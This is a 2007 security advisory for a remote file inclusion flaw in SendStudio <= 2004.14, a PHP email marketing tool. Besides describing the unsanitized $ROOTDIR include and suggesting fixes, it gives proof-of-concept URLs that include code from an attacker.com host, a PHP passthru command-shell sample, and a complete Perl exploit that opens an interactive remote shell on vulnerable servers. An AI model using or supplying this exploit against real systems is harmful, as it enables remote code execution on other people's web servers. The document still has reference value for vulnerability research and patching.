[ECHO_ADV_66$2007] SendStudio <= 2004.14 Remote File Inclusion Vulnerability
ECHO_ADV_66$2007
-----------------------------------------------------------------------------------------
[ECHO_ADV_66$2007] SendStudio <= 2004.14 Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------
Author : M.Hasran Addahroni
Date : Feb, 20th 2007
Location : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv66-K-159-2007.txt
Critical Lvl : Dangerous
---------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : SendStudio
version : <= 2004.14
URL : http://www.interspire.com/sendstudio/
Description :
SendStudio is PHP email marketing software that lets you create, send and track
an unlimited number of email messages and autoresponders. Over 25,000 people
are already using SendStudio to keep in touch with their subscribers.
Once installed on your web server you can say goodbye to clunky, outdated
desktop applications (such as Outlook) and email your subscribers using
SendStudio whenever you like from where ever you like using your favorite web
browser.
---------------------------------------------------------------------------
Vulnerability:
~~~~~~~~~~~~~~
- Invalid include function at admin/includes/createemails.inc.php :
---------------createemails.inc.php--------------------------------------
<?php
require_once($ROOTDIR.'admin/functions/general.php');
...
------------------------------------------------------------------
- invalid include function at admin/includes/send_emails.inc.php :
--------------------send_emails.inc.php--------------------------
<?php
global $ROOTDIR;
include($ROOTDIR . 'admin/includes/createemails.inc.php');
...
-------------------------------------------------------------------
Variables $ROOTDIR are not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this
vulnerability with a simple php injection script.
Poc/Exploit:
~~~~~~~~~~
http://www.target.com/sendstudio/admin/includes/createemails.inc.php?ROOTDIR=http://attacker.com/evil?
http://www.target.com/sendstudio/admin/includes/send_emails.inc.php?ROOTDIR=http://attacker.com/evil?
Solution:
~~~~~~~
- Sanitize variable $ROOTDIR on affected files.
- Turn off register_globals
- use the lates version
Notification :
~~~~~~~~~~
vendor was contacted
---------------------------------------------------------------------------
Shoutz:
~~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n the
breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for
the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua,
stev_manado, nofry, x16
~ newbie_hacker@xxxxxxxxxxxxxxx
~ #aikmel #e-c-h-o @irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~
K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/
-------------------------------- [ EOF ] ----------------------------------
Perl Exploit:
~~~~~~~~~~
#!/usr/bin/perl
##
# SendStudio <= 2004.14 Remote File Inclusion Exploit
# Bug Found & code By K-159
##
# echo.or.id (c) 2007
#
##
# usage:
# perl SendStudio.pl <target> <cmd shell location> <cmd shell variable>
#
# perl SendStudio.pl http://target.com/sendstudio/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#Greetz: My Dearest Wife - ping, echo|staff
(y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative), str0ke,
SinChan, sakitjiwa, maSter-oP, mr_ny3m, bithedz, lieur-euy, x16, mbahngarso, etc
#
# Contact: www.echo.or.id #e-c-h-o @irc.dal.net
##
use LWP::UserAgent;
$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}
head();
while()
{
print "[shell] \$";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET
=>$Path.'admin/includes/createemails.inc.php?ROOTDIR='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or
die "\nCould Not connect\n";
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[Ã.ª]/;
if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/:
Cannot execute a blank command in <b>/)
{print "\nCould Not Connect to cmd Host or Invalid Command
Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No
Return\n\n"}
if($return =~ /(.*)/)
{
$finreturn = $1;
$finreturn=~ tr/[Ã.ª]/[\n]/;
print "\r\n$finreturn\n\r";
last;
}
else {print "[E-C-H-O] \$";}}}last;
sub head()
{
print
"\n============================================================================\r\n";
print " *SendStudio <= 2004.14 Remote File Inclusion Exploit*\r\n";
print
"============================================================================\r\n";
}
sub usage()
{
head();
print " Usage: perl $0 <target> <cmd shell location> <cmd shell
variable>\r\n\n";
print " <Site> - Full path to SendStudio ex: http://www.site.com/sendstudio
\r\n";
print " <cmd shell> - Path to cmd Shell e.g
http://www.different-site.com/cmd.txt \r\n";
print " <cmd variable> - Command variable used in php shell \r\n";
print
"============================================================================\r\n";
print " Bug Found by K-159 \r\n";
print " www.echo.or.id #e-c-h-o irc.dal.net 2007 \r\n";
print
"============================================================================\r\n";
exit();
}